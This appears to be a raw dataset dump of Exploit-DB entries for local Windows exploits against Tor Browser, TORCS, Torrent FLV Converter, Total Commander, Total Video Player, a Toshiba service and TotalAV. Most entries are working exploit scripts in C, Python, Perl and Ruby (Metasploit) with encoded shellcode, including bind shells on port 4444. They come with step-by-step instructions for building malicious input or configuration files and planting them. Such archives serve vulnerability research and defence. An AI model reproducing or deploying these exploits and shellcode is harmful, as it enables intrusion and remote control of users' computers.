deardaniel/secdata-raw huggingface dataset:
Exploit-DB #44267
Description: Tor (Firefox 41 < 50) - Code Execution
Type: local
Platform: windows
Date: 2016-12-01
Author: 649

Exploit:
# TOR Browser 0day : JavaScript Exploit !
## Works on Firefox versions 41 - 50
### The critical vulnerability is believed to affect multiple Windows versions of the open source Firefox web browser as far back as Firefox version 41, and up to Firefox version 50. When exploit opened by a Firefox or Tor Browser with Javascript enabled on a Windows computer, it leverage a memory corruption vulnerability in the background to make direct calls to kernel32.dll, which allows malicious code to be executed on computers running Windows.
<i>Makes redirect to '/member.php' after code execution</i>

- - -

This is an Javascript exploit actively used against TorBrowser NOW. It consists of one HTML and one CSS file, both pasted below and also de-obscured. The exact functionality is unknown but it's getting access to "VirtualAlloc" in "kernel32.dll" and goes from there. Please fix ASAP. I had to break the "thecode" line in two in order to post, remove ' + ' in the middle to restore it. - SIGAINT



Download: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/44267.zip
Exploit-DB #18258
Description: TORCS 1.3.1 - acc Buffer Overflow
Type: local
Platform: windows
Date: 2011-12-20
Author: Andrés Gómez

Exploit:
/* Exploit Title: TORCS acc Buffer Overflow
# Date: 20/12/2011
# Author: Andres Gomez
# Software Link: http://torcs.sourceforge.net/
# Version: torcs 1.3.1
# Tested on: Windows
# CVE : */

/*
    This exploit generates a corrupted acc file 
    which has to be saved in the directories where
    TORCS loads its data, for example replace 
    cars/car4-trb1/car4-trb1.acc and put test.acc or create 
    a new car/track and select it in the TORCS menu
*/


#include <stdio.h>
#include <stdlib.h>

/*
   Shellcode: windows/shell_bind_tcp LPORT=4444 -b '\x00\xff\x0a'
   Encoder: x86/shikata_ga_nai
*/

unsigned char buf[] = 
"\xbd\x2e\xed\xb6\x2d\xdd\xc2\xd9\x74\x24\xf4\x5e\x2b\xc9\xb1"
"\x56\x83\xee\xfc\x31\x6e\x0f\x03\x6e\x21\x0f\x43\xd1\xd5\x46"
"\xac\x2a\x25\x39\x24\xcf\x14\x6b\x52\x9b\x04\xbb\x10\xc9\xa4"
"\x30\x74\xfa\x3f\x34\x51\x0d\x88\xf3\x87\x20\x09\x32\x08\xee"
"\xc9\x54\xf4\xed\x1d\xb7\xc5\x3d\x50\xb6\x02\x23\x9a\xea\xdb"
"\x2f\x08\x1b\x6f\x6d\x90\x1a\xbf\xf9\xa8\x64\xba\x3e\x5c\xdf"
"\xc5\x6e\xcc\x54\x8d\x96\x67\x32\x2e\xa6\xa4\x20\x12\xe1\xc1"
"\x93\xe0\xf0\x03\xea\x09\xc3\x6b\xa1\x37\xeb\x66\xbb\x70\xcc"
"\x98\xce\x8a\x2e\x25\xc9\x48\x4c\xf1\x5c\x4d\xf6\x72\xc6\xb5"
"\x06\x57\x91\x3e\x04\x1c\xd5\x19\x09\xa3\x3a\x12\x35\x28\xbd"
"\xf5\xbf\x6a\x9a\xd1\xe4\x29\x83\x40\x41\x9c\xbc\x93\x2d\x41"
"\x19\xdf\xdc\x96\x1b\x82\x88\x5b\x16\x3d\x49\xf3\x21\x4e\x7b"
"\x5c\x9a\xd8\x37\x15\x04\x1e\x37\x0c\xf0\xb0\xc6\xae\x01\x98"
"\x0c\xfa\x51\xb2\xa5\x82\x39\x42\x49\x57\xed\x12\xe5\x07\x4e"
"\xc3\x45\xf7\x26\x09\x4a\x28\x56\x32\x80\x5f\x50\xfc\xf0\x0c"
"\x37\xfd\x06\xa3\x9b\x88\xe1\xa9\x33\xdd\xba\x45\xf6\x3a\x73"
"\xf2\x09\x69\x2f\xab\x9d\x25\x39\x6b\xa1\xb5\x6f\xd8\x0e\x1d"
"\xf8\xaa\x5c\x9a\x19\xad\x48\x8a\x50\x96\x1b\x40\x0d\x55\xbd"
"\x55\x04\x0d\x5e\xc7\xc3\xcd\x29\xf4\x5b\x9a\x7e\xca\x95\x4e"
"\x93\x75\x0c\x6c\x6e\xe3\x77\x34\xb5\xd0\x76\xb5\x38\x6c\x5d"
"\xa5\x84\x6d\xd9\x91\x58\x38\xb7\x4f\x1f\x92\x79\x39\xc9\x49"
"\xd0\xad\x8c\xa1\xe3\xab\x90\xef\x95\x53\x20\x46\xe0\x6c\x8d"
"\x0e\xe4\x15\xf3\xae\x0b\xcc\xb7\xdf\x41\x4c\x91\x77\x0c\x05"
"\xa3\x15\xaf\xf0\xe0\x23\x2c\xf0\x98\xd7\x2c\x71\x9c\x9c\xea"
"\x6a\xec\x8d\x9e\x8c\x43\xad\x8a";

// this points to your shellcode
unsigned char function_pointer [] = "\xA8\xCA\x0E\x10";

int main(int argc, char **argv) {

    FILE *save_fd;
    int i=0;

    save_fd = fopen("test.acc", "w");

    if (save_fd == NULL) {
	    printf("Failed to open '%s' for writing", "test.acc");
	    return -1;
    }

    fprintf(save_fd, "AC3Db\n");
    fprintf(save_fd, "MATERIAL \"");
    for(i=0; i < 607; i++) {
    	putc('\x90', save_fd);
    }
    fprintf(save_fd, "%s%s\" rgb 0.4 0.4 0.4  amb 0.8 0.8 0.8  emis 0.4 0.4 0.4  spec 0.5 0.5 0.5  shi 50  trans 0\n", buf, function_pointer);
    fprintf(save_fd, "OBJECT world\n");
    fprintf(save_fd, "kids %d\n", 5);

    close(save_fd);

    return 0;
}
Exploit-DB #47938
Description: Torrent FLV Converter 1.51 Build 117 - Stack Oveflow (SEH partial overwrite)
Type: local
Platform: windows
Date: 2020-01-17
Author: antonio

Exploit:
# Exploit Title: Torrent FLV Converter 1.51 Build 117 - Stack Oveflow (SEH partial overwrite)
# Date: 2020-01-16
# Exploit Author: antonio
# Vendor Homepage: http://www.torrentrockyou.com/
# Software Link: http://www.torrentrockyou.com/download/trflvconverter.exe
# Version: 1.51 Build 117
# Tested on: Windows 7 SP1 32-bit

# Copy paste the contents of poc.txt into the
# Registration Code input field.

#!/usr/bin/python

nseh_offset = 4500
total = 5000

# badchars
# --------
# 0x00, 0x0a, 0x0d, 0x80
# 0xf0-x0ff, 0xe0-0x0ef, 0x70-0x7a
# 0x61-0x6f, 0x9a, 0x9c, 0x9e

poc = ""
poc += "A"*(nseh_offset - 53)
poc += "\x90"*53
poc += "\x7d\xcb\x90\x90" # jump backwards to NOPs: jge via SF = OF
poc += "\x7f\xb3\x45" # nseh pop pop ret: 3-byte partial overwrite

file = open("poc_seh.txt","w")
file.write(poc)
file.close()
Exploit-DB #50760
Description: TOSHIBA DVD PLAYER Navi Support Service - 'TNaviSrv' Unquoted Service Path
Type: local
Platform: windows
Date: 2022-02-18
Author: SamAlucard

Exploit:
#Exploit Title: TOSHIBA DVD PLAYER Navi Support Service - 'TNaviSrv' Unquoted Service Path
#Exploit Author : SamAlucard
#Exploit Date: 2022-02-17
#Vendor : TOSHIBA
#Version : TOSHIBA Navi Support Service 1.00.0000
#Tested on OS: Windows 7 Pro

#Analyze PoC :
==============
C:\Users\Administrador>sc qc TNaviSrv
[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: TNaviSrv
        TIPO               : 10  WIN32_OWN_PROCESS
        TIPO_INICIO        : 2   AUTO_START
        CONTROL_ERROR      : 1   NORMAL
        NOMBRE_RUTA_BINARIO: C:\Program Files (x86)\TOSHIBA\TOSHIBA DVD
PLAYER\TNaviSrv.exe
        GRUPO_ORDEN_CARGA  :
        ETIQUETA           : 0
        NOMBRE_MOSTRAR     : TOSHIBA Navi Support Service
        DEPENDENCIAS       :
        NOMBRE_INICIO_SERVICIO: LocalSystem
Exploit-DB #38243
Description: Total Commander 8.52 (Windows 10) - Local Buffer Overflow
Type: local
Platform: windows
Date: 2015-09-20
Author: VIKRAMADITYA

Exploit:
#!/usr/bin/python 
# EXPLOIT TITLE: Total Commander 8.52 Buffer Overflow 
# AUTHOR: VIKRAMADITYA "-OPTIMUS"
# Credits: Un_N0n
# Date of Testing: 19th September 2015
# Download Link : http://tcmd852.s3-us-west-1.amazonaws.com/tc852x32_b1.exe
# Tested On : Windows 10 
# Steps to Exploit
# Step 1: Execute this python script
# Step 2: This script will create a file called time.txt
# Step 3: Copy the contents of time.txt file
# Step 4: Now open Total Commander 8.52
# Step 5: Go To file > Change Attributes.
# Step 6: In time field paste the contents of time.txt
# Step 7: After 5 seconds connect to the target at port 4444 with ncat/nc 
file = open('time.txt' , 'wb');

buffer = "\x90"*265 + "\xfe\x24\x76\x6d" + "\x90"*160                       # 265 NOPS + Jmp eax + 160 NOPS + SHELLCODE + 10 NOPS

# msfvenom -p windows/shell_bind_tcp -f c  -b '\x00\x0a\x0d'

buffer += ("\xdb\xcb\xd9\x74\x24\xf4\x5a\x31\xc9\xbe\x97\xf8\xc7\x9d\xb1"
"\x53\x31\x72\x17\x03\x72\x17\x83\x7d\x04\x25\x68\x7d\x1d\x28"
"\x93\x7d\xde\x4d\x1d\x98\xef\x4d\x79\xe9\x40\x7e\x09\xbf\x6c"
"\xf5\x5f\x2b\xe6\x7b\x48\x5c\x4f\x31\xae\x53\x50\x6a\x92\xf2"
"\xd2\x71\xc7\xd4\xeb\xb9\x1a\x15\x2b\xa7\xd7\x47\xe4\xa3\x4a"
"\x77\x81\xfe\x56\xfc\xd9\xef\xde\xe1\xaa\x0e\xce\xb4\xa1\x48"
"\xd0\x37\x65\xe1\x59\x2f\x6a\xcc\x10\xc4\x58\xba\xa2\x0c\x91"
"\x43\x08\x71\x1d\xb6\x50\xb6\x9a\x29\x27\xce\xd8\xd4\x30\x15"
"\xa2\x02\xb4\x8d\x04\xc0\x6e\x69\xb4\x05\xe8\xfa\xba\xe2\x7e"
"\xa4\xde\xf5\x53\xdf\xdb\x7e\x52\x0f\x6a\xc4\x71\x8b\x36\x9e"
"\x18\x8a\x92\x71\x24\xcc\x7c\x2d\x80\x87\x91\x3a\xb9\xca\xfd"
"\x8f\xf0\xf4\xfd\x87\x83\x87\xcf\x08\x38\x0f\x7c\xc0\xe6\xc8"
"\x83\xfb\x5f\x46\x7a\x04\xa0\x4f\xb9\x50\xf0\xe7\x68\xd9\x9b"
"\xf7\x95\x0c\x31\xff\x30\xff\x24\x02\x82\xaf\xe8\xac\x6b\xba"
"\xe6\x93\x8c\xc5\x2c\xbc\x25\x38\xcf\xd3\xe9\xb5\x29\xb9\x01"
"\x90\xe2\x55\xe0\xc7\x3a\xc2\x1b\x22\x13\x64\x53\x24\xa4\x8b"
"\x64\x62\x82\x1b\xef\x61\x16\x3a\xf0\xaf\x3e\x2b\x67\x25\xaf"
"\x1e\x19\x3a\xfa\xc8\xba\xa9\x61\x08\xb4\xd1\x3d\x5f\x91\x24"
"\x34\x35\x0f\x1e\xee\x2b\xd2\xc6\xc9\xef\x09\x3b\xd7\xee\xdc"
"\x07\xf3\xe0\x18\x87\xbf\x54\xf5\xde\x69\x02\xb3\x88\xdb\xfc"
"\x6d\x66\xb2\x68\xeb\x44\x05\xee\xf4\x80\xf3\x0e\x44\x7d\x42"
"\x31\x69\xe9\x42\x4a\x97\x89\xad\x81\x13\xb9\xe7\x8b\x32\x52"
"\xae\x5e\x07\x3f\x51\xb5\x44\x46\xd2\x3f\x35\xbd\xca\x4a\x30"
"\xf9\x4c\xa7\x48\x92\x38\xc7\xff\x93\x68")

buffer += "\x90" *10

file.write(buffer)

file.close()
Exploit-DB #38244
Description: Total Commander 8.52 - Local Buffer Overflow
Type: local
Platform: windows
Date: 2015-09-20
Author: VIKRAMADITYA

Exploit:
#!/usr/bin/python 
# EXPLOIT TITLE: Total Commander 8.52 Buffer Overflow 
# AUTHOR: VIKRAMADITYA "-OPTIMUS"
# Credits: Un_N0n
# Date of Testing: 19th September 2015
# Download Link : http://tcmd852.s3-us-west-1.amazonaws.com/tc852x32_b1.exe
# Tested On : Windows XP Service Pack 2
# Steps to Exploit
# Step 1: Execute this python script
# Step 2: This script will create a file called time.txt
# Step 3: Copy the contents of time.txt file
# Step 4: Now open Total Commander 8.52
# Step 5: Go To file > Change Attributes.
# Step 6: In time field paste the contents of time.txt
# Step 7: After 5 seconds connect to the target at port 4444 with ncat/nc 
file = open('time.txt' , 'w');

buffer = "\x90"*190
buffer += "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74\xef\xb8\x52\x30\x63\x58\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7" # Egghunter looking for R0cX R0cX 

buffer += "\x90"*(265- len(buffer))

buffer += "\x47\x47\xf7\x75"                                                                                                    #75F74747   FFE0             JMP EAX

# bad characters - \x00\x0a\x0d
# msfvenom -p windows/shell_bind_tcp -f c  -b '\x00\x0a\x0d'

buffer += "R0cX" + "R0cX" + ("\xbf\x46\xeb\xb1\xe7\xda\xc5\xd9\x74\x24\xf4\x5d\x29\xc9\xb1"
"\x53\x31\x7d\x12\x83\xc5\x04\x03\x3b\xe5\x53\x12\x3f\x11\x11"
"\xdd\xbf\xe2\x76\x57\x5a\xd3\xb6\x03\x2f\x44\x07\x47\x7d\x69"
"\xec\x05\x95\xfa\x80\x81\x9a\x4b\x2e\xf4\x95\x4c\x03\xc4\xb4"
"\xce\x5e\x19\x16\xee\x90\x6c\x57\x37\xcc\x9d\x05\xe0\x9a\x30"
"\xb9\x85\xd7\x88\x32\xd5\xf6\x88\xa7\xae\xf9\xb9\x76\xa4\xa3"
"\x19\x79\x69\xd8\x13\x61\x6e\xe5\xea\x1a\x44\x91\xec\xca\x94"
"\x5a\x42\x33\x19\xa9\x9a\x74\x9e\x52\xe9\x8c\xdc\xef\xea\x4b"
"\x9e\x2b\x7e\x4f\x38\xbf\xd8\xab\xb8\x6c\xbe\x38\xb6\xd9\xb4"
"\x66\xdb\xdc\x19\x1d\xe7\x55\x9c\xf1\x61\x2d\xbb\xd5\x2a\xf5"
"\xa2\x4c\x97\x58\xda\x8e\x78\x04\x7e\xc5\x95\x51\xf3\x84\xf1"
"\x96\x3e\x36\x02\xb1\x49\x45\x30\x1e\xe2\xc1\x78\xd7\x2c\x16"
"\x7e\xc2\x89\x88\x81\xed\xe9\x81\x45\xb9\xb9\xb9\x6c\xc2\x51"
"\x39\x90\x17\xcf\x31\x37\xc8\xf2\xbc\x87\xb8\xb2\x6e\x60\xd3"
"\x3c\x51\x90\xdc\x96\xfa\x39\x21\x19\x15\xe6\xac\xff\x7f\x06"
"\xf9\xa8\x17\xe4\xde\x60\x80\x17\x35\xd9\x26\x5f\x5f\xde\x49"
"\x60\x75\x48\xdd\xeb\x9a\x4c\xfc\xeb\xb6\xe4\x69\x7b\x4c\x65"
"\xd8\x1d\x51\xac\x8a\xbe\xc0\x2b\x4a\xc8\xf8\xe3\x1d\x9d\xcf"
"\xfd\xcb\x33\x69\x54\xe9\xc9\xef\x9f\xa9\x15\xcc\x1e\x30\xdb"
"\x68\x05\x22\x25\x70\x01\x16\xf9\x27\xdf\xc0\xbf\x91\x91\xba"
"\x69\x4d\x78\x2a\xef\xbd\xbb\x2c\xf0\xeb\x4d\xd0\x41\x42\x08"
"\xef\x6e\x02\x9c\x88\x92\xb2\x63\x43\x17\xc2\x29\xc9\x3e\x4b"
"\xf4\x98\x02\x16\x07\x77\x40\x2f\x84\x7d\x39\xd4\x94\xf4\x3c"
"\x90\x12\xe5\x4c\x89\xf6\x09\xe2\xaa\xd2")

file.write(buffer)

file.close()
Exploit-DB #38185
Description: Total Commander 8.52 - Overwrite Buffer Overflow (SEH)
Type: local
Platform: windows
Date: 2015-09-15
Author: Un_N0n

Exploit:
'''
********************************************************************************************
# Exploit Title: Total Commander 32bit SEH Overwrite.
# Date: 8/27/2015
# Exploit Author: Un_N0n
# Software Vendor: http://www.ghisler.com/
# Software Link: http://www.ghisler.com/download.htm
# Version: 8.52
# Tested on: Windows 8 x64(64 BIT)
********************************************************************************************
[Info:]
EAX 00106541 
ECX FFFFFEFA
EDX 0031E941
EBX 04921F64
ESP 001065FC 
EBP 41414141
ESI 04930088
EDI 0031E9B0

EIP 41414141

SEH chain of main thread, item 0
	Address=001065FC
	SE handler=41414141
'''

[Steps to Produce the Crash]:
1- Open up 'TOTALCMD.EXE'.
2- Goto Files -> Change Attributes.
3- In time field paste in contents of 'Crash.txt'.
~ Software will crash b/c SEH Overwrite.

[Code for CRASH.txt]
file = open("crash.txt",'w')
file.write("A"*5000)
file.close()

->After Reporting,
	Vendor has released(bugfix release) a new version(8.52a[9th SEPT 2015]).
**********************************************************************************************
Exploit-DB #29799
Description: Total Video Player 1.3.1 - 'Settings.ini' Local Buffer Overflow (SEH)
Type: local
Platform: windows
Date: 2013-11-24
Author: Mike Czumak

Exploit:
#!/usr/bin/perl

#################################################################################################
# Exploit Title: Total Video Player 1.3.1 (Settings.ini) - SEH Buffer Overflow
# Date: 11-24-2013
# Exploit Author: Mike Czumak (T_v3rn1x) -- @SecuritySift
# Vulnerable Software: Total Video Player 1.3.1 (http://www.effectmatrix.com/total-video-player/)
# Software Link: http://download.cnet.com/Total-Video-Player/3000-2139_4-10552696.html
# Version: 1.3.1
# Tested On: Windows XP SP3
# To Exploit:
# - Replace Settings.ini file in program folder (e.g., "C:\Program Files\Total Video Player") 
# - Start Application 
#################################################################################################

my $buffsize = 5000; # sets buffer size for consistent sized payload
my $header = "[Support Groups]\r\nVideo="; # start of ini file
my $footer = "\r\n[AssociateType]\r\nAssociateType =1"; # end of ini file (after buffer)
my $junk = "\x41" x 256; # offset to seh overwrite 
my $nseh = "\xeb\x14\x90\x90"; # overwrite next seh with jmp instruction (20 bytes)
my $seh = pack('V',0x10012848); # pop ebx pop ebp ret  (C:\Program Files\Total Video Player\hskin.dll)
				# ASLR: False, Rebase: False, SafeSEH: False, OS: False 
my $nops = "\x90" x 20; 

# Calc.exe payload [size 227]
# msfpayload windows/exec CMD=calc.exe R | 
# msfencode -e x86/shikata_ga_nai -c 1 -b '\x00\x0a\x0d\xff'
my $shell = "\xdb\xcf\xb8\x27\x17\x16\x1f\xd9\x74\x24\xf4\x5f\x2b\xc9" .
"\xb1\x33\x31\x47\x17\x83\xef\xfc\x03\x60\x04\xf4\xea\x92" .
"\xc2\x71\x14\x6a\x13\xe2\x9c\x8f\x22\x30\xfa\xc4\x17\x84" .
"\x88\x88\x9b\x6f\xdc\x38\x2f\x1d\xc9\x4f\x98\xa8\x2f\x7e" .
"\x19\x1d\xf0\x2c\xd9\x3f\x8c\x2e\x0e\xe0\xad\xe1\x43\xe1" .
"\xea\x1f\xab\xb3\xa3\x54\x1e\x24\xc7\x28\xa3\x45\x07\x27" .
"\x9b\x3d\x22\xf7\x68\xf4\x2d\x27\xc0\x83\x66\xdf\x6a\xcb" .
"\x56\xde\xbf\x0f\xaa\xa9\xb4\xe4\x58\x28\x1d\x35\xa0\x1b" .
"\x61\x9a\x9f\x94\x6c\xe2\xd8\x12\x8f\x91\x12\x61\x32\xa2" .
"\xe0\x18\xe8\x27\xf5\xba\x7b\x9f\xdd\x3b\xaf\x46\x95\x37" .
"\x04\x0c\xf1\x5b\x9b\xc1\x89\x67\x10\xe4\x5d\xee\x62\xc3" .
"\x79\xab\x31\x6a\xdb\x11\x97\x93\x3b\xfd\x48\x36\x37\xef" .
"\x9d\x40\x1a\x65\x63\xc0\x20\xc0\x63\xda\x2a\x62\x0c\xeb" .
"\xa1\xed\x4b\xf4\x63\x4a\xa3\xbe\x2e\xfa\x2c\x67\xbb\xbf" .
"\x30\x98\x11\x83\x4c\x1b\x90\x7b\xab\x03\xd1\x7e\xf7\x83" .
"\x09\xf2\x68\x66\x2e\xa1\x89\xa3\x4d\x24\x1a\x2f\xbc\xc3" .
"\x9a\xca\xc0";

my $sploit = $header.$junk.$nseh.$seh.$nops.$shell.$footer; # build spoit portion of buffer
my $fill = "\x43" x ($buffsize - (length($sploit))); # fill remainder of buffer with junk for consistent size 
my $buffer = $sploit.$fill; # build final buffer

# write the exploit buffer to file
my $file = "Settings.ini";
open(FILE, ">$file");
print FILE $buffer;
close(FILE);
print "Exploit file created [" . $file . "]\n";
print "Buffer size: " . length($buffer) . "\n";
Exploit-DB #31988
Description: Total Video Player 1.3.1 - 'Settings.ini' Local Buffer Overflow (SEH) (Metasploit)
Type: local
Platform: windows
Date: 2014-02-28
Author: Metasploit

Exploit:
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::FILEFORMAT
  include Msf::Exploit::Seh

  def initialize(info = {})
    super(update_info(info,
      'Name'    => 'Total Video Player 1.3.1 (Settings.ini) - SEH Buffer Overflow',
      'Description'  => %q{
        This module exploits a buffer overflow in Total Video Player 1.3.1. The vulnerability
        occurs opening malformed Settings.ini file e.g."C:\Program Files\Total Video Player\".
        This module has been tested successfully over Windows WinXp-Sp3-EN, Windows 7, Windows 8.
      },
      'License'    => MSF_LICENSE,
      'Author'    =>
        [
          'Mike Czumak',                         # (T_v3rn1x) -- @SecuritySift 
          'Fr330wn4g3 <Fr330wn4g3[at]gmail.com>' # Metasploit module
        ],
      'References'  =>
        [
          [ 'OSVDB', '100619' ],
          [ 'EDB', '29799' ]
        ],
      'DefaultOptions' =>
        {
          'ExitFunction' => 'process',
        },
      'Platform'  => 'win',
      'Payload'  =>
        {
          'BadChars' => "\x00\x0a\x0d\xff",
          'Space' => 1787,
          'DisableNops' => true,
        },

      'Targets'    =>
        [
          [ 'Windows Universal',
            {
              'Ret'     =>  0x10012848, # pop ebx # pop ecx # ret  - hskin.dll
              'Offset'  =>  256
            }
          ],
        ],
      'Privileged'  => false,
      'DisclosureDate'  => 'Nov 24 2013',
      'DefaultTarget'  => 0))

    register_options([OptString.new('FILENAME', [ false, 'The file name.', 'Settings.ini']),], self.class)

  end

  def exploit

    buffer = "[Support Groups]\r\nVideo="
    buffer << rand_text(target['Offset'])
    buffer << generate_seh_payload(target.ret)
    buffer << payload.encoded 
    buffer << "\r\n[AssociateType]\r\nAssociateType =1"

    file_create(buffer)

  end
end
Exploit-DB #7839
Description: Total Video Player 1.31 - 'DefaultSkin.ini' Local Stack Overflow
Type: local
Platform: windows
Date: 2009-01-20
Author: His0k4

Exploit:
#!/usr/bin/python
import socket
print "******************************************************"
print " Total Video Player V1.31 Local Stack Overflow\n"
print " Author: His0k4"
print " Tested on: Windows XP Pro SP2 Fr\n"
print " Greetings to:"
print " All friends & muslims HaCkers(dz)\n"
print " dz-secure.com\n snakespc.com\n dz-security.net"
print "******************************************************"

header1 = (
	"\x5B\x57\x69\x6E\x64\x6F\x77\x73\x5D\x0A\x50\x6C\x69\x73\x74\x57"
	"\x69\x6E\x64\x6F\x77\x20\x3D\x20\x70\x6C\x73\x2E\x64\x6C\x6C\x2C"
	"\x49\x44\x0A\x0A\x5B\x4D\x61\x69\x6E\x57\x69\x6E\x64\x6F\x77\x53"
	"\x43\x52\x45\x45\x4E\x5D\x4D\x61\x69\x6E\x3D\x4E\x6F\x72\x6D\x61"
	"\x6C\x2E\x62\x6D\x70\x0A\x0A\x5B\x50\x6C\x69\x73\x74\x57\x69\x6E"
	"\x64\x6F\x77\x53\x43\x52\x45\x45\x4E\x5D\x0A\x4D\x61\x69\x6E\x3D"
	"\x50\x4C\x42\x75\x74\x74\x6F\x6E\x4E\x6F\x72\x6D\x61\x6C\x2E\x62"
	"\x6D\x70\x0A\x0A\x5B\x50\x6C\x69\x73\x74\x57\x69\x6E\x64\x6F\x77"
	"\x4C\x49\x53\x54\x43\x54\x52\x4C\x53\x54\x59\x4C\x45\x5D\x0A\x43"
	"\x6F\x6C\x75\x6D\x6E\x48\x65\x61\x64\x65\x72\x53\x70\x61\x6E\x3D")

header2=(
	"\x2E\x62\x6D\x70\x0A\x56\x65\x72\x74\x69\x63\x6C\x65\x53\x63\x72"
	"\x6F\x6C\x6C\x42\x61\x72\x54\x68\x75\x6D\x62\x3D\x56\x65\x72\x74"
	"\x69\x63\x6C\x65\x53\x63\x72\x6F\x6C\x6C\x42\x61\x72\x54\x68\x75"
	"\x6D\x62\x2E\x62\x6D\x70")

# win32_exec -  EXITFUNC=seh CMD=calc Size=160 Encoder=PexFnstenvSub http://metasploit.com
shellcode=(
	"\x29\xc9\x83\xe9\xde\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xd5"
	"\xc5\x35\xef\x83\xeb\xfc\xe2\xf4\x29\x2d\x71\xef\xd5\xc5\xbe\xaa"
	"\xe9\x4e\x49\xea\xad\xc4\xda\x64\x9a\xdd\xbe\xb0\xf5\xc4\xde\xa6"
	"\x5e\xf1\xbe\xee\x3b\xf4\xf5\x76\x79\x41\xf5\x9b\xd2\x04\xff\xe2"
	"\xd4\x07\xde\x1b\xee\x91\x11\xeb\xa0\x20\xbe\xb0\xf1\xc4\xde\x89"
	"\x5e\xc9\x7e\x64\x8a\xd9\x34\x04\x5e\xd9\xbe\xee\x3e\x4c\x69\xcb"
	"\xd1\x06\x04\x2f\xb1\x4e\x75\xdf\x50\x05\x4d\xe3\x5e\x85\x39\x64"
	"\xa5\xd9\x98\x64\xbd\xcd\xde\xe6\x5e\x45\x85\xef\xd5\xc5\xbe\x87"
	"\xe9\x9a\x04\x19\xb5\x93\xbc\x17\x56\x05\x4e\xbf\xbd\x35\xbf\xeb"
	"\x8a\xad\xad\x11\x5f\xcb\x62\x10\x32\xa6\x54\x83\xb6\xc5\x35\xef")
	
buffer = header1 + "\x41"*221 + "\x7C\xE1\xA7\x7C" + "\x90"*20 + shellcode + header2

try:
    out_file = open("DefaultSkin.ini",'w')
    out_file.write(buffer)
    out_file.close()
    print("\n Exploit file created!, Now replace this file in Skins\DefaultSkin folder\n and run the program\n")
except:
    print "Error"

# milw0rm.com [2009-01-20]
Exploit-DB #47897
Description: TotalAV 2020 4.14.31 - Privilege Escalation
Type: local
Platform: windows
Date: 2020-01-10
Author: Kusol Watchara-Apanukorn

Exploit:
# Exploit Title: TotalAV 2020 4.14.31 - Privilege Escalation
# Date: 2020-01-09
# Exploit Author: Kusol Watchara-Apanukorn
# Vendor Homepage: https://www.totalav.com/
# Version: 4.14.31
# Fixed on:  5.3.35
# Tested on: Windows 10 x64
# CVE : CVE-2019-18194

# Vulnerability Description:
# TotalAV 2020 4.14.31 has quarantine flaw that allows attacker escape of
# privilege by using NTFS directory junction.

**You can download vulnerability version with this link:
https://install.protected.net/windows/cdn3/4.14.31/TotalAV_Setup.exe

///////////////////////////////////
   Proof of Concept
//////////////////////////////////
1. Plant the malicious file in this case we use DLL file
2. To exploit the vulnerability antivirus must detect the malicious dll
3. Move it to quarantine.
4. Attacker must create NTFS directory junction to restore

Full step: https://www.youtube.com/watch?v=88qeaLq98Gc


Vulnerability Disclosure Timeline:
==================================
17 Oct, 19 : Found Vulnerability
18 Oct, 19 : Vendor Notification
18 Oct, 19 : Request CVE
21 Oct, 19 : Vendor Response
mid Dec, 19  : Vendor released new patched (v5.3.35)
09 Jan, 20: Vulnerability Disclosure